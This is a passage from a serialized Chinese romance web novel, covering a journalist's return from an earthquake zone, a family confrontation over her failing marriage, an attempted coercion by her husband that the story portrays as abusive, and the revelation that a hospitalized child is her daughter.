顾时序的信息给我恶心到反胃。
他说:“昭昭,你还安全吗?回我电话。”
他说:“抱歉,我没想到余震会这么快来。”
他说:“等我,我现在派人去接你回来。”
我想,他应该是那天回到苏雅欣身边后,看到新闻说早晨余震就来了,才知道我没撒谎。
可是顾时序,我已经不需要你了!
要是等着你辨别了真伪后再来救我,或许我现在,早就成一具尸体了!我拉黑了他的微信,也拉黑了他所有能联系到我的方式。
……
我们又在江城整整呆了一周。
到了后面,每天都有大批的支援和大批物资运送过来,比我们刚去时候的条件简直是云泥之别。
在我和孟云初离开的那天,我竟然看到苏雅欣在一堆人的陪伴下从大巴车上下来。
他们也带来了物资,苏雅欣前前后后跟着许多助理、保镖,那气派,不知道的还以为是来灾区走红毯的。
当时我和孟云初在等来接我们的大巴车。
因为所有车辆停靠的区域都是那一片,苏雅欣也看见了我。
她微微错愕了一下,然后朝我走来。
我让孟云初先上车。
孟云初警惕地看了眼苏雅欣,提醒道:“你自己小心。”
说完,她往车上走去。
苏雅欣似笑非笑的说:“叶小姐,我就知道,你肯定活得好好的。既然如此,为什么要费尽心机的给时序哥打电话,让他来救你呢?”
我轻笑了声,道:“一个烂透了的水果,扔了就好,何必再去追究它是因为什么原因烂掉的呢?
说完,我上了车,而苏雅欣在一堆人的簇拥下往灾情已经平稳的震区走去。
……
回程的路上,孟云初还在电脑上处理工作。
直到她看见最新的热搜,吐槽道:“这苏雅欣才刚到灾区,通稿就已经出来了。现在,地震已经过去了,她装模作样的去一趟,还得了个好名声。这尼玛不是发国难财吗?”
视频里,苏雅欣亲切的跟志愿者们合照,签名,又跟一些伤患和儿童亲切的说话。
而跟随她来的那些保镖和助理,是丝毫没拍进去。
孟云初冷嘲道:“还得是明星啊,摆拍真是一把好手!”
而苏雅欣这一次的出现,博得了满屏群众的好感:
“哇,我们欣欣果然是人美心善,亲力亲为去灾区做贡献了!”
“是啊,之前肯定是竞争对手黑她,还把她黑的那么惨。幸好欣欣心理强大,熬过来了。以后,有顾总的保护,欣欣肯定会越来越好!”
“这样的明星才是正能量,一定要多多宣传!”
……
我靠在椅背上,叹息了声,道:“可是这个世界,一直都
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是不公平的。”
哪怕它公平一点呢?
我想,我的婚姻也不会沦落到这幅田地。
我放在口袋里的手反复抹着那触感细腻的手帕,那里仿佛还残留着温度和安全感。
我和孟云初回到公司,整个办公室的人起立为我们鼓掌庆祝。
主编更是激动地说:“这周末,咱们一起去给两位英雄庆功,我请客!大家谁都不准缺席啊!”
孟云初趁机说道:“主编,您别忘了给昭昭打转正报告!”
主编笑着道:“必须的!叶昭昭的转正报告我已经交上去了,还有你的推荐信,我今天也提交给上面了。”
“我?”
孟云初不可思议的问:“我的什么推荐信?”
主编笑了笑,感叹道:“我丈夫的工作调到香港了,儿子也在那边读大学。这些年我一心在工作上打拼,对家里的付出太少。所以我已经提交了辞职报告,但主编这个位置,你最合适。”
孟云初愣住,身为女强人的她当然想要职位,但她还是感到很意外。
主编拍拍她的肩膀,道:“你来公司这段时间,你的业务能力,你的冲劲,我都看在眼里。好好干,我相信你!”
孟云初喜极而泣。
我也回到工位上开始投入剪辑和写稿的工作中。
地震之后,大量的稿子和灾区的所见所闻需要发出去。
就在这时,一个同事突然惊讶出声,“昭昭,这是你吗?”
他将手机递给我看。
江城的官方账号发了一个纪录片。
其中一个片段是我跟着那些医护人员搬运伤员和给伤员包扎的场景。
记得那时候有一个同为记者的人采访了我。
没想到,这个视频发出去之后会有这么大的反响,还有很多人单独将我的片段截出来。
评论区的评论越来越多:
“这个小姐姐真的好美,侧脸好像刘亦菲哦!这完全是能出道的程度啊!这么漂亮,还这么能干。”
“这人我认识,是我高中同学,当年海城高考文科状元!”
“人家这才叫榜样呢!冒着余震的风险在灾区呆了这么久。又是当记者,又是当护士。哪里像某些明星,没有危险了,装模作样过去拍点照片,再捐点物资。”
“楼上,你说的是苏雅欣吧?我之前还在马尔代夫看见她呢!地震最厉害的时候,人家在国外度假呢!现在不震了才敢回来!我有照片为证!”
“……”
我全没想到,我居然就这么成为网红了。
而且,我还上了热搜,热度完全盖过了苏雅欣。
不仅如此,因为有了我的衬托,苏雅欣那些视频被许多博主转载批判,各种挑刺,说她如何摆拍,如何利用地震发国难财?
甚至有些人开始计算她捐赠的物资价值,以及她通过这波流量能获取的收益。
最后算出来的结果,苏雅欣通过这样的行为,不仅能为新剧做宣传,还能刷新之前被官方媒体点名批评的污点,她能获得的收益远比这些物资高得多!
我估计苏雅欣也没想到,她颠儿颠儿的的跑到灾区来,准备利用流量给自己打个翻身仗,最后却适得其反,骑虎难下了。
……
而目前为止,向灾区捐献物资的单位和个人已经统计出来了。
本来排名第一的是顾氏集团,捐了五千万。
可现在,遥遥领先的,确是沈氏集团,整整捐了一个亿,是顾氏的两倍。
这时,有同事提醒我说我上顾氏集团的官网了。
我赶紧打开链接,只见顾氏集团官网的捐款链接里发了两张照片,并列着的。
一张是苏雅欣在灾区跟志愿者的照片;另一张是我扛着摄像机的画面。
配文:“致敬最美丽的人。”
大家都在恭喜我,说像我这样被大公司注意到的,说不定真能投资给我培养成网红,或者给我奖金鼓励。
可我看着我跟苏雅欣并列的这两张照片,想的却是顾时序侮辱人的本事见长!
没动一刀一枪,却能把人侮辱的体无完肤!
居然把我跟这种女人相提并论!
第101章 顾时序终于答应离婚
临近下班,外公突然给我打了个电话。
“昭昭啊!”他声音里满是激动,“外公瞧见你的宣传了,真是打心眼儿里骄傲!没想到你这丫头这么勇敢,竟去了地震灾区。我看网上说你今天回江城了?晚上一定来外公家,饭菜都做好了,我们好好吃个饭,给你庆功。”
虽说我和顾时序闹到如今这般地步,但外公待我,始终没话说。
我实在不忍心拂了老人家的心意,便应了下来。
然而,我刚走出公司写字楼,顾时序的迈巴赫就停在门口。
他亲自下了车走到副驾驶给我开门。
看见他的那一刻,我胃口瞬间没了。
我当然不会上他的车,而是冷冷问:“你也要去外公家?”
见他默认,我立刻道:“那我不去了,我自己跟外公打电话说。”
说完我绕开他就往前走,手腕却被他猛地扣住。
他力道强硬,不由分说地将我塞进车里,跟着探身进来,伸手就要替我扣安全带。
我哪肯任由他摆布,正要伸手去解,却听见他沉声道:“外婆为了给你庆祝,拖着重病的身子,做了一桌子你爱吃的菜。”
我指尖顿在安全带扣上,终究还是收了回来。
路上,我安静地坐在副驾,脸望着窗外。
顾时序语调清冷,问:“为什么把我的电话和微信都拉黑了?”
我不以为意地说:“我们之间还有什么必要交流吗?好像没有吧?既然没有,为什么要留着联系方式?”
孩子、工作、感情,什么都没有。
就连我命悬一线的时候,打了他的电话都没用。
既然如此,要这个联系方式做什么?
顾时序自知理亏,自己给自己找台阶下,淡淡地说:“不管怎样,这次你事业有了这么大的起色,我很欣慰。”
我嗤笑了声,反问道:“难道你欣慰的不该是我能活着回来吗?”
顾时序被我噎得无话可说。
一小时后,我们到达姜家。
庭院里,沈宴州的银色宾利就停在那儿。
顾时序看见了,冷哼了声,直接握着我的手一起进了门。
我挣了半天,也没挣开他。
沙发上的沈宴州听见动静抬眸看过来,目光在我身上停了几秒,又淡漠的别开。
好像前几天在地震灾区陪我度过难关的人,不是他。
外公和外婆恰好从厨房端着餐盘出来。
平日里,虽然姜家有佣人,但如果是一家人聚餐,外公外婆很多事都是亲力亲为的。
我下意识往旁边躲了躲。
上次沈奶奶开玩笑说要撮合我和沈宴州,虽然后来解释清楚了,可面对外婆,总还是有点不自在。
餐桌是长形的,外公坐主位,外婆旁边是沈宴州,对面是顾时序。
我自然不想跟顾时序坐一起,可如果不跟他坐,我就得过去跟沈宴州和外婆坐。
不过,上次沈老夫人撮合我和沈宴州的事,虽然已经平息了,但姜家每个人应该都很敏感。
这时候,我主动选择去跟沈宴州坐,他们估计会多想。
而顾时序眼中露出一抹不悦,面子上却平静得很,站起身来帮我拉开他旁边的椅子,语气亲昵得像是在演戏,“顾太太,还要我亲自请你坐下来?”
外公见状,冷哼了声,道:“怎么?你老婆现在是全网称赞的著名新闻记者,让你亲自给她拉椅子,委屈你了?”
顾时序好脾气地对外公道:“不委屈,这是我跟昭昭夫妻间的情趣。拌拌嘴,也蛮有意思的。”
我真想现在就揭穿他,让大家知道那天在灾区,他是怎样弃我而去的!
可面对着外婆做的一桌子菜,面对外公的期待,我忍下了,面无表情地坐在他旁边。
这时,外公拿起酒杯,眼睛里亮堂堂的:“来,都举杯!庆祝昭昭平平安安从震区回来。”
玻璃杯碰在一起,发出清脆的声响。
然后,外公对顾时序道:“你瞧瞧,你老婆多厉害?这才是能跟你并肩的人,不比苏雅欣那种乱七八糟,光喜欢做戏的女人强?”
顾时序放下酒杯,没反驳,反而看向我,声音不高不低:“外公放心,我会跟昭昭好好过日子的。”
“好好过日子”……
这陌生又熟悉的五个字啊!
当年他娶我时,也是这么承诺的。
我攥着筷子,口中的食物味同嚼蜡,几乎没有任何反应,只想快点结束这顿饭。
可顾时序偏不。
他忽然伸手握住我的手,语气温和,实则逼迫:“昭昭,你也跟外公外婆做个保证,咱们以后不闹了,好好过。”
那种生理性恶心直冲头顶,我一分钟都不想跟他把这个虚伪的戏做下去了!
我猛地抽回手,看都没看顾时序,拿起面前的酒杯,望向沈宴州。
“舅舅,我敬您。谢谢您救了我。如果不是您,我可能就被埋在那片废墟下,变成一堆尸骨了。”
空气突然凝固了。
我甚至能感觉到身旁顾时序那冰锥似的目光死死盯在我身上。
但我的目光却一直望着沈宴州,很感激,也很坦荡。
沈宴州愣了下,随即从容地端起酒杯,轻轻碰了碰我的杯壁,声音很稳:“你能平安就好。”
外婆突然慌了,追问道:“宴州,昭昭这话是什么意思?你也去灾区了?”
沈宴州放下酒杯,淡淡地解释:“前些天去江城找个当事人,刚好碰上余震,她被埋在废墟下,就顺手帮了忙。”
外公连连感叹道:“那可是救命之恩啊!宴州你这孩子,这么大的事怎么不早告诉我们?”
就在这时,顾时序阴阳怪气地开口道:“真有意思。是什么样的当事人,值得舅舅亲自跑一趟震区?这得是好大的人物吧?不如舅舅说出来跟我分享分享,哪天我也去拜访一下!”
他这话里的刺,谁都听得出来。
沈宴州抬眸看他,嘴角勾了下,却没笑意:“顾总也是商人,人脉这东西,哪有白分享的?你想知道,拿什么换?”
两人说话时嘴角都噙着笑,可那笑意根本没到眼底。
餐桌上的气压低得让人喘不过气。
外婆急了,皱着眉推沈宴州:“宴州,你别打哑谜了!到底咋回事?什么当事人这么要紧?”
沈宴州抿着唇,脸色沉了沉,没接话。
我看着顾时序那副揣着明白装糊涂的样子,忍了又忍,最后实在忍不住了。
我猛地转向他,声音冷得像冰:“顾时序,你真把我当老婆吗?”
他愣了一下,我接着道:“余震的时候,我给你打电话,你明明就在附近,却不肯来!如果不是舅舅,我早就**!你不谢他就算了,凭什么质疑他?你有什么资格?”
顾时序的脸瞬间沉得像墨,捏着酒杯的指尖泛白。
他盯着我,语气带着压不住的愠怒:“叶昭昭,你非要在这里闹?”
而外公手中的筷子重重放在桌上,严肃地看着顾时序:“昭昭说的是不是真的?”
顾时序道:“那天我有急事,必须离开。”
外公怒不可遏,指着他道:“你有什么急事,能比你老婆的命还重要!你这个混账,自己不救老婆,别人帮你救老婆,你在那儿阴阳怪气什么!”
外婆见状,连忙扶着外公,劝道:“老姜,你消消气。时序不是这么不分轻重的孩子,他肯定是真的有什么原因。时序,你快跟你外公和昭昭解释一下啊!如果你真的有什么合理的原因,昭昭会体谅你的。”
顾时序紧抿着唇,没说话,似乎在思索什么。
我开口道:“外婆,您不必给他找借口了。无论什么原因,我都不在乎了。不过今天话说到这儿,我就直说吧!我跟顾时序过不下去了,以后,您们不用再为我和他操心。等找个时间,我跟他去把离婚证领了,以后,我们各自安好。”
桌上安静得连根针都能听得见。
外婆在旁边抹起了眼泪,拉着我的手:“昭昭啊,夫妻哪有不闹别扭的,时序他是一时糊涂……”
“外婆,”我回握住她的手,心里发酸,一字一句道,“他不是
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一时糊涂。他已经糊涂了四年,我是真的筋疲力尽了。”
外公沉声对外婆道:“你别再劝了,顾时序这个混账小子,不配得到原谅。”
说完,他看向顾时序,道:“你若还有点担当,就别再耗着昭昭,放她自由吧!她值得更好的人。”
说完,外公叹息着摇了摇头,搀着外婆一起上了楼。
餐桌上,只剩下我和顾时序、沈宴州三人。
顾时序坐在那里,脸色难看至极,沉默着将杯里的酒一饮而尽。
他冷笑了声,看看我,又看着沈宴州,道:“这下,满意了?你早就算计着怎么把我老婆变成你的吧?”
我大惊失色,厉声呵斥她:“顾时序,你胡说什么!”
顾时序冷笑了声,道:“想离婚,是吧?好,我如你所愿!明天就去。我倒要看看,离了婚,他是不是就能娶你!”
说完,他扔下我,径直往外走去。
沈宴州从始至终,神色极淡,看不出喜怒。
就好像……在看一场拖沓又荒诞的闹剧,全程事不关己,连眼皮都没抬一下。
想到刚才顾时序那些混话,我感到格外歉疚,轻声道:“舅舅,对不起啊。”
沈宴州斜睨了我一眼,眉梢微挑:“为什么跟我道歉?”
“是替顾时序,”我有些局促的解释,“他刚才说的那些话,您别往心里去。”
他忽然微微蹙眉,语气带着点不易察觉的冷意:“你不是都要跟他离了?现在以什么立场替他道歉?他的妻子?”
我愣在原地,一时没跟上他的思路,张了张嘴没说出话。
沈宴州瞧着我这模样,道:“眼睛这么红,挺难过?”
我连忙摇头,吸了吸鼻子,道:“我这是……喜极而泣!”
沈宴州闻言,忽然低低笑了一声。
那笑声很轻,但我却是头一回听见他这样笑,不是应酬时的客套,也不是平日的淡漠,反而添了几分鲜活。
我一时有些恍惚,怔怔看着他。
他收了笑意,问:“离婚律师请了吗?”
我刚要点头说“早就请好了”,楼梯口忽然传来外婆的声音,带着几分凝重:“宴州,你上来一下,我有话跟你说。”
沈宴州微微一怔,随即站起身,往楼上走去。
餐桌旁只剩了我一人,方才闹成这样,我也没跟外公外婆打招呼,便离开了姜家。
明天,我就能彻底自由了!
晚上回去,我把顾时序的手机号码从通讯记录里拉出来,给他发了信息:明天上午九点,民政局门口见,切记。”
他没回我。
不过,我想今晚他话说得这样坚定,我们都没有给彼此留任何余地。
这次,应该不会再有任何意外了吧?
……
翌日,我请了半天假,拿好身份证和结婚证去了民政局。
八点五十我就到了,可我坐在车里一直等到九点半,还是没有看到顾时序的身影。
就连离婚,他都要放我鸽子!
我拿出手机拨了他的号码,没人接。
不知道他是没听见,还是故意不接。
我无比失望地回到单位,主编匆忙过来,道:“你可算是回来了!”
“我请假了半天,早上跟您说过的啊。”
主编点头道:“你是跟我说过,可孟云初今天发烧在家休息,跟顾氏集团约好的采访,我找不到其他人了。大家手里都有任务,你赶快去一趟。他们的采访,可难约了。”
“顾氏集团?”
我本能地想拒绝。
主编没等我开口,将采访稿递给我,道:“你还记得你之前做的新闻吧?苏仲平和苏启明父子听说被顾氏集团年薪百万聘请了。这个消息是我们内部独家的,花了不少钱才搞到。今天必须拿到采访稿,把新闻发出去!”
看这架势,是没有拒绝的余地了。
不过,我也确实得见顾时序一面。
昨天刚说好的离婚,他今天放我鸽子不说,连电话都不接。
难道他以为这样,我就找不到他,就能继续耗着我?
第102章 身世揭开,真相大白(一)
“好,我现在去。”
拿了采访稿和采访设备,我开车前往顾氏集团。
……
我驱车到顾氏集团楼下,将记者证和单位名字报给了前台。
因为之前我们公司早已预约对接过了,前台没有通报,直接就带我去了总裁室。
我想,我要是不打着记者的身份,顾时序知道我来找他,或许根本就不会见我。
当前台把我带进总裁室时,顾时序蹙眉斥责道:“访客一律需要提前预约,你不知道吗?”
前台小妹妹非**屈,小声道:“顾总,这是《深度周刊》的记者,三天前就预约过了。”
顾时序语塞,屏退了前台。
前台如获大赦地离开,从外面带上了门。
顾时序目光依旧在手中的文件上,看都不看我。
这完全就是不想沟通的样子。
我道:“为什么放我鸽子?昨天不是说好了吗?你知不知道我上午在民政局门口等你多久?”
顾时序翻文件的动作没停,语气很冷:“我上午的行程排满了,没空处理私事。”
“那下午呢?”我往前递了半步,一字一句道,“今天我就在这等,你忙完我们就去民政局。”
他终于停下动作,抬眼时眉梢带着丝冷嘲:“《深度周刊》的工作制度倒是宽松,允许员工借着采访的名义,在上班时间处理私事?”
话音刚落,他没给我反驳的机会,直接拿起桌上的内线电话:“孙杰,进来一趟。”
门很快被推开,孙杰刚踏进办公室,就听见顾时序吩咐:“立刻放话出去,《深度周刊》纵容员工借工作机会办私事,公司风气自由散漫。从今天起,顾氏及所有合作企业,一律拒绝接受他们的采访。”
孙杰的目光在我和顾时序之间来回打转,语气犹豫:“顾总,这会不会太……”
我心里“咯噔”一下。
这是主编离职前最后一个任务,也是孟云初上任主编的关键时期。
我不能因为自己的事,在这种时候坑她们。
顾时序不悦地对孙杰道:“我的话都不听了?还不快去!”
就在孙杰准备离开时,我压下心头的愤怒,克制地开口:“顾总,我今天的确是来做采访的,三天前贵司的对接人员已经确认过流程。您现在突然改口,算是出尔反尔吗?”
顾时序抬眸看我,黑眸里闪过一丝不易察觉的松动,嘴角微勾:“你确定?只为采访,不为别的?”
我垂在身侧手紧紧捏起,指甲掐进掌心,才勉强压下翻涌的情绪,点点头:“对,只为采访。”
顾时序盯着我看了两秒,对着门口的孙杰道:“没事了,刚才我误会了叶记者的来意,你出去吧!”
孙杰明显松了口气,连忙离开了。
我转身从包里拿出录音笔和笔记本,指尖因为用力而发白。
不过,今天我必须把这个婚跟他离了。
专访流程至少要一个小时,等结束刚好到午休时间,到时候他总不能再拿“占用工作时间”当借口。
上午离不成婚,下午我拖着他,也得把他拖到民政局!
顾时序以为我妥协了,起身亲自去给我倒了杯水,淡声道:“开始吧,叶记者。”
我开门见山,道:“听闻顾氏集团近期高薪聘请了有学术污点的研究人员。请问顾总,对于这个问题,您是怎么看的呢?”
顾时序一笑,直接关了我的录音笔,道:“你的矛头是苏家,那就直截了当地说出来。叶昭昭,为什么你总要跟苏家过不去?”
我平静地说:“我没有跟任何人过不去,我只是在做新闻。当然,我还是挺好奇的,顾氏是怎么变成垃圾收留站的?”
顾时序的脸色沉了沉,却没动怒,语气听起来理所当然:“苏仲平在生物设备研发上的地位不可小觑,顾氏研发部正是用人的时候。苏仲平为顾氏效劳唯一的条件就是把他儿子也聘请进来,相当于,买一赠一吧!赠品虽然不怎么样,但为了正品,我也愿意花这个钱。”
我冷嘲了一声,道:“嗯,这很符合你做事的风格,为达目的,没有底线,不择手段。”
顾时序面色浮出一抹愠怒,阴测测地说:“别忘了,你母亲用的设备还得靠苏仲平。只有他手里有这个设备的核心数据,这个新型的心肺支持仪如果迟迟不上市,对你母亲也没有好处。”
我没有反驳,也懒得跟他争辩。
顾时序要聘请谁,跟我无关,我的目的是完成工作和离婚。
所以,我按照主编给我的采访稿,完成了接下来的采访流程。
顾时序见我认真记录着采访内容,他不屑地说:“顾氏的根基比你想象的深,你发这些不痛不痒的新闻,什么都改变不了。我也奉劝你,不要总跟苏家过不去,大家混口饭吃都不容易,何必非要去砸别人的饭碗?”
我心底暗嘲,他可真够双标的!
他给苏雅欣投资电视剧,剧情套路全都是对标我们剧组的,这不叫砸人饭碗?
我据实写个新闻报道,就是砸人饭碗了?
刚好此时,我手机闹铃响了。
刚好中午十二点。
我收起了采访设备,却并没有走的意思。
顾时序坐在对面的真皮沙发上,指尖漫不经心地摩挲着沙发扶手。
见我不动,他似乎意识到了什么,眉头微蹙:“怎么?还要我送你?”
我面无表情地看着他:“我已经下班了,现在是我的私人时间。顾时序,今天说破大天,你也得跟我去把婚离了!”
我话音刚落,顾时序脸上的漫不经心瞬间褪去。
下一秒,他突然伸手扼住我的手腕,猛地将我拉近。
“叶昭昭!”
他另一手捏着我下巴,一字一顿:“是你急着离婚,还是沈宴州着急让你离婚?就这么迫不及待想扑到他身边?我偏不让你如意,你能怎样?”
“昨天不是说好的吗?”
我用力挣扎,却挣不开他的钳制,只能恨恨地瞪着他,“你一个大男人,怎么能出尔反尔!”
“出尔反尔?”
顾时序突然冷笑一声,道:“当初是谁答应我,只要我撤诉,放你们叶家一条生路,她就会跟我重新开始的?叶昭昭,你摸着良心说,这阵子你有过一分钟,想跟我重新开始吗?到底是谁先出尔反尔?”
我喉咙发紧,知道跟他争辩没有意义,更怕在他的地盘上彻底激怒他,到头来还是自己吃亏。
我压下心头的火,猛地推开他,站起身道:“既然你不想好好沟通,那我们没什么好说的,再走离婚起诉吧!”
可我刚迈出两步,手腕就被他再次拉住。
比上次更巨大的力道传来,我重心不稳,重重地摔进沙发里。
还没等我反应过来,顾时序颀长的身子已经压了下来,将我困在沙发与他之间,灼热的体温透过布料传来。
“是谁给你的勇气,敢这么跟我叫嚣?”
他低头盯着我,眼底的怒火几乎要烧起来,语气里带着危险的试探,“是沈宴州吗,嗯?”
我再也忍不住,抬手就想打他,手腕被他轻而易举地扼住。
“叶昭昭,你这是你自己送上门来的。”
说完,他忽然俯身吻我。
我拼尽全力挣扎,肩膀抵住他的胸膛想推开他,可他的重量像沉铁般压在我身上。
慌乱间,我抬脚想踹向他膝盖,却被他用腿死死压住脚踝,连动一下都做不到。
“别费劲了。”
顾时序扣住我的后颈,语气阴沉残忍:“你越反抗,我越想让你记清楚,你自己的身份!”
他修长的手指突然勾住我衣领,布料被扯得变形,冰凉的空气灌进衣领,激得我浑身发颤。
“顾时序,你要敢碰我,我告你**!”
我恨恨地瞪着他,恨不得把他撕碎!
可顾时序只是轻笑了声,不以为意。
“别忘了,你是我太太,我们只是在进行正常的夫妻生活!”
他的声音贴着我耳边落下,带着不容反抗的压迫感,另一只手已经扣住我的腰,将我往他怀里带得更紧。
绝望之际,一阵尖锐的手机铃声突然炸开。
顾时序显然不想理,将手机扔到一边。
我见状,突然伸手将他手机拿了过来。
看到来电显示是他母亲,我赶紧按下了扬声器。
他总不能让姜淑慧现场听着他跟我做这种事吧?
果然,顾时序脸色阴沉得可怕,却只能停住动作。
我不想听他跟他母亲的通话内容,只想赶紧整理好衣服离开这儿。
然而,姜淑慧的声音
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却直挺挺地传进我耳里:“时序,不好了,朵朵出车祸了!”
我心头一震,怎么都无法再挪动一步。
尽管我这段日子拼命告诉自己,麻痹自己,朵朵肯定不会是我的女儿。
可为什么,听到这个消息,我的心像是被一只大手抓住,揪得生疼?
顾时序听姜淑慧说了出车祸的经过,叫来孙杰,命令道:“立刻给上次帮朵朵献血的人打电话,让她去中心医院!朵朵出车祸了,急需输血!”
孙杰面露难色,道:“顾总,朱梦今天早上刚去出差。”
顾时序完全失去了往日清冷矜贵的模样,气急败坏道:“谁准她去出差的!我不是说了,公司招她进来,无需她做任何事,养着她!谁让她去的!”
孙杰吓得不敢抬头,战战兢兢道:“是朱梦自己说她想学点东西,部门经理才带她一起的。”
顾时序用力砸了下办公桌,额角的青筋突突直跳。
沉默几秒,他猛地转头看我,眼神复杂又带着明显的不情愿,像是做了极大的妥协。
“你跟我去医院。”
我克制着内心的焦急和担忧,直直盯着他复杂莫辨的黑眸,道:“如果朵朵不是我的女儿,我不会去的!”
虽然我的担心并不比顾时序少,但这是我唯一能得到真相的机会。
顾时序闭上眼睛,似乎在思忖、在纠结。
再睁眼时,他眼底只剩下一片疲惫和恳求:“先去献血,救朵朵。回来……回来我跟你解释,所有事都告诉你。”
我看着他冷峻的面容,想到那个总是对我带着敌意,却也是自己怀胎十月生在的孩子,心终究还是软了。
……
路上,我才知道朵朵出车祸的原因。
姜淑慧出去做SPA,带着她一起。
因为跟其他几个贵妇聊天聊得太入神,压根没有注意到朵朵。
朵朵就这么跑了出去,自己玩儿,在停车场的时候,被一辆开出来的车撞到。
我紧紧握拳,冷汗湿透了手心。
到达医院时,姜淑慧见到我,蹙眉问顾时序:“她怎么来了?”
顾时序没理会母亲,就这么握着我的手腕往输血科走。
姜淑慧不依不饶地问:“你把她带来干什么?这个丧门星,就是因为有她在,我们姜家才会接二连三发生这些事!”
顾时序忍无可忍,沉声道:“她是朵朵亲生母亲!只有她能救朵朵!”
虽然这是我怀疑了很久的事,但亲耳听见顾时序这么说,我还是震惊得要命,愤怒和失而复得的喜悦自心底涌了出来。
姜淑慧更是不可思议地看着他,“你……你胡说什么呢?”
顾时序无力的开口道:“我以后再跟你解释,先让她去给朵朵输血。”
而刚才他们的对话,被输血科的医生听见,严肃地说:“献血的人是病人亲属?”
顾时序微微一怔,问:“怎么了?”
医生解释道:“原则上,直系亲属是不能献血的。因为直系亲属之间基因相似性较高,输血后可能引发输血相关移植物抗宿主病,死亡率极高。”
顾时序耐着性子问:“那你们医院又符合我女儿的血型吗?”
医生摇了摇头,道:“暂时没有,您女儿的血型是稀有血型,我们血库里暂时没有储存这样的血。”
我立刻道:“上次也是我输的,她并没有任何并发症。”
医生解释道:“是的,这种并发症发生率极低,我们只是为了确保万无一失。目前没有符合您女儿的血样,如果输血迫在眉睫,也可以用你的血。但需要给我们签一个知情同意书和免责声明。”
朵朵等着手术,顾时序知道没有别的办法了,当机立断签了字。
而这次,我是心甘情愿去给我的女儿献血,希望她能活下去。
无论她对我怎样,可她终究是我身上掉下来的肉,天底下任何母亲都不会在这种情况下,眼睁睁看着女儿**。
抽完血,我整个人天旋地转,头晕得站不起来。
顾时序让孙杰去买了很多营养品,可我什么都吃不下。
他坐在我旁边,担忧地望着我。
我也看着他,声音发飘,却异常清晰:“这下,你可以告诉我,为什么要骗我?为什么要把我的女儿给苏雅欣养?”
第103章 身世揭开,真相大白(二)
顾时序避开我的目光,没有立刻回答我,而是缓缓往楼梯间走去。
我跟了过去。
我清楚的看到了他眼底的挣扎,他仿佛还是想按捺着真相,在说与不说的边缘。
我疲惫地开口:“无论你把朵朵给谁养,都不会有人比亲妈更爱她!今天的事就是个例子,如果是我,我不可能只顾着自己聊天,忘记我女儿。顾时序,这个世界上,没有人能代替得了妈妈。”
这句话像一把钥匙,打开了他的心锁。
顾时序声音发颤,每个字都像是灌了铅,“没错,朵朵就是你的女儿。是我在她出生时就把她抱走了,骗了你。”
时间仿佛在这一刻凝固了,我浑身的血液都在沸腾着。
下一秒,我猛地扬起手,清脆的耳光声在空旷的走廊里回荡。
“顾时序!”
我的声音尖锐得像被撕裂,眼泪瞬间决堤,“你告诉我为什么?那是我十月怀胎,我盼了这么久的孩子啊!你怎么能,怎么能这么残忍!”
我每一个字都带着血和泪。
顾时序被打得偏过头,脸上清晰地印着指痕,却没动。
他只是看着我通红的眼眶,声音沙哑:“昭昭,我有难言之隐。我只能告诉你朵朵是你的女儿,但其他的,我现在还不能说。”
我像是听到了天大的笑话,笑得眼泪更凶,抬手又是一记耳光,比刚才更重。
他还是没躲,也没有任何愤怒,冷峻的面容只剩下死一般的沉寂。
我浑身都在发抖,难受到快要发不出声音:“那你告诉我,当初,为什么要跟我结婚?从始至终,你爱的人都不是我!你为什么要娶我!”
他的喉结滚动着,良久,才低低地说:“我一直把你当做妹妹,我从没有想过伤害你。”
“啪!”
第三记耳光落下时,他连眼皮都没眨一下。
就在这时,姜淑慧看见我打了他儿子,走进后,他儿子两侧脸都是红彤彤的。
可想而知,她有多愤怒。
“叶昭昭,你这个**,竟敢跟时序动手!”
说完,她朝我走过来,以牙还牙地想替顾时序报仇。
可她刚扬起手,就被顾时序攥住胳膊。
姜淑慧愤声道:“时序,你疯了么?从小到大我都没有舍得打你一下,你居然容忍一个女人,这么践踏你的尊严!”
顾时序低沉的开口道:“我该打,这些,是我欠她的。”
我眼泪止不住地掉,憋了太久,憋了四年。
我的女儿,她一直都活着,却不知道,我是她的妈妈!
呵,顾时序居然觉得,几巴掌就能还清他欠我的了吗?
姜淑慧厉声道:“你欠她什么?她一个身份低微的孤女,你给了她名分,给了她尊荣,她该知足了!就算朵朵是她女儿,那又怎样!没有你,她一个人有本事养孩子吗?孩子跟着她,也是受罪!”
“妈!”
顾时序重重地喝止道:“你闭嘴吧!朵朵现在躺在手术室里,是因为谁?如果这次,朵朵不能平安出来,别怪我不顾念我们之间的母子情义!”
他说完,姜淑慧完全愣住了,不可置信地看着他,“你……你要跟我断绝母子关系?”
顾时序眼神冷得可怕,道:“朵朵是我生命中最重要的存在,我不能容许任何人伤害她。无论是故意的,还是无心的。所以,您最好祈祷她没事。”
终于,姜淑慧不再闹了,一步步走到手术室前面的长椅上,一屁股坐下。
我和顾时序也早已筋疲力尽,谁也没有说话,默默走到手术室门口坐下,等待着手术。
几小时后,朵朵的手术终于结束,医生从手术室出来。
我这才发现,给朵朵做手术的医生,竟然是裴炎京。
“顾依朵是你女儿?”
他摘下口罩,脸上难免露出惊讶的神色。
我点点头,紧张地问:“裴医生,她怎么样了?脱离危险了吗?”
顾时序和姜淑慧也立刻走了过来,每个人脸上都格外凝重,盯着裴炎京。
“放心吧,手术很成功。”
裴炎京道:“幸好送来的及时,输血也及时,没造成什么严重的后果。就是她伤的是头部,手术前把她头发都剃掉了。所以……小孩子醒了之后,你们要好好哄哄。”
我们终于松了口气。
只有姜淑慧小声开口道:“医生……她伤到了头部,会不会留下什么后遗症啊?变得痴傻什么的?”
顾时序不悦地看着母亲:“无论朵朵变成什么,我都养着她一辈子!”
姜淑慧意识到自己说错话,立刻闭了嘴。
我感激地跟裴炎京道了谢,他颔首道:“不客气。孩子今晚在ICU观察一晚上,没什么事的话,明天就能转入普通病房了。”
说到这儿,裴炎京想起了上次跟顾时序之间的过节,故意问道:“普通病房还是我们神经外科。不过,我看顾总不怎么信我,要不要把你女儿转到别的专家名下?”
顾时序听出他的嘲讽,刚想说话,我便打断道:“裴医生,我相信你。朵朵……就交给您了,您多费心。”
裴炎京点点头,道:“有什么事,找我,今若有我的电话。”
“好。”
我轻轻松了口气。
毕竟,医生总喜欢把病人的病情往重了说。而裴炎京是宋今若的男朋友,算是自己人,这才客观的说了朵朵没什么大问题,让我们提前宽了心。
我已经很感激了。
顾时序先转头看向姜淑慧,语气带着不容置疑的疲惫:“这里有我和昭昭盯着就够了,您先回去休息。”
